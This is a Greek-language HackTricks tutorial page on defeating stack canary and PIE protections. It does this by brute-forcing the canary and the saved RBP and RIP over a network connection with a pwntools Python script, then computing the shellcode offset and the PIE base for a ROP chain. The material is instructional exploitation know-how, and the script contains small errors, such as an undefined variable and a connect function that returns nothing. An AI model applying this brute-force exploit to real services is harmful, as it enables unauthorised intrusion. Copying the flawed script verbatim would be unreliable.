BF Διευθύνσεις στη Στοίβα

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.

note

Σημειώστε ότι checksec μπορεί να μην βρει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να εντοπίσει τη λειτουργία.
Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο.

Brute-Force Διευθύνσεις

Για να παρακάμψετε το PIE χρειάζεστε να διαρρεύσετε κάποια διεύθυνση. Και αν το δυαδικό αρχείο δεν διαρρέει καμία διεύθυνση, το καλύτερο που μπορείτε να κάνετε είναι να brute-force το RBP και το RIP που αποθηκεύονται στη στοίβα στη ευάλωτη λειτουργία.
Για παράδειγμα, αν ένα δυαδικό αρχείο προστατεύεται χρησιμοποιώντας τόσο ένα canary όσο και PIE, μπορείτε να ξεκινήσετε brute-forcing το canary, στη συνέχεια τα επόμενα 8 Bytes (x64) θα είναι το αποθηκευμένο RBP και τα επόμενα 8 Bytes θα είναι το αποθηκευμένο RIP.

tip

Υποτίθεται ότι η διεύθυνση επιστροφής μέσα στη στοίβα ανήκει στον κύριο κώδικα του δυαδικού αρχείου, ο οποίος, αν η ευπάθεια βρίσκεται στον κώδικα του δυαδικού αρχείου, θα είναι συνήθως η περίπτωση.

Για να brute-force το RBP και το RIP από το δυαδικό αρχείο μπορείτε να καταλάβετε ότι ένα έγκυρο μαντεμένο byte είναι σωστό αν το πρόγραμμα εκτυπώνει κάτι ή απλά δεν καταρρέει. Η ίδια λειτουργία που παρέχεται για brute-forcing το canary μπορεί να χρησιμοποιηθεί για brute-force το RBP και το RIP:

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Το τελευταίο πράγμα που χρειάζεστε για να νικήσετε το PIE είναι να υπολογίσετε χρήσιμες διευθύνσεις από τις διαρροές διευθύνσεων: το RBP και το RIP.

Από το RBP μπορείτε να υπολογίσετε πού γράφετε το shell σας στη στοίβα. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε τη συμβολοσειρά "/bin/sh\x00" μέσα στη στοίβα. Για να υπολογίσετε την απόσταση μεταξύ του διαρρεύσαντος RBP και του shellcode σας, μπορείτε απλά να βάλετε ένα breakpoint μετά τη διαρροή του RBP και να ελέγξετε πού βρίσκεται το shellcode σας, στη συνέχεια, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP:

python
INI_SHELLCODE = RBP - 1152

Από το RIP μπορείτε να υπολογίσετε τη βάση διεύθυνση του εκτελέσιμου αρχείου PIE που θα χρειαστείτε για να δημιουργήσετε μια έγκυρη αλυσίδα ROP.
Για να υπολογίσετε τη βάση διεύθυνση απλά εκτελέστε objdump -d vunbinary και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης:

Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζονται μόνο 1 Byte και μισό για να εντοπίσετε όλο τον κώδικα, τότε, η βάση διεύθυνση σε αυτή την περίπτωση θα είναι το leaked RIP αλλά τελειώνοντας σε "000". Για παράδειγμα, αν διαρρεύσατε 0x562002970ecf, η βάση διεύθυνση είναι 0x562002970000

python
elf.address = RIP - (RIP & 0xfff)

Βελτιώσεις

Σύμφωνα με ορισμένες παρατηρήσεις από αυτή την ανάρτηση, είναι πιθανό ότι όταν διαρρέουν οι τιμές RBP και RIP, ο διακομιστής δεν θα καταρρεύσει με ορισμένες τιμές που δεν είναι οι σωστές και το σενάριο BF θα νομίζει ότι έχει πάρει τις σωστές. Αυτό συμβαίνει επειδή είναι πιθανό ότι ορισμένες διευθύνσεις απλώς δεν θα το σπάσουν ακόμη και αν δεν είναι ακριβώς οι σωστές.

Σύμφωνα με αυτή την ανάρτηση στο blog, συνιστάται να προστίθεται μια σύντομη καθυστέρηση μεταξύ των αιτημάτων προς τον διακομιστή.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks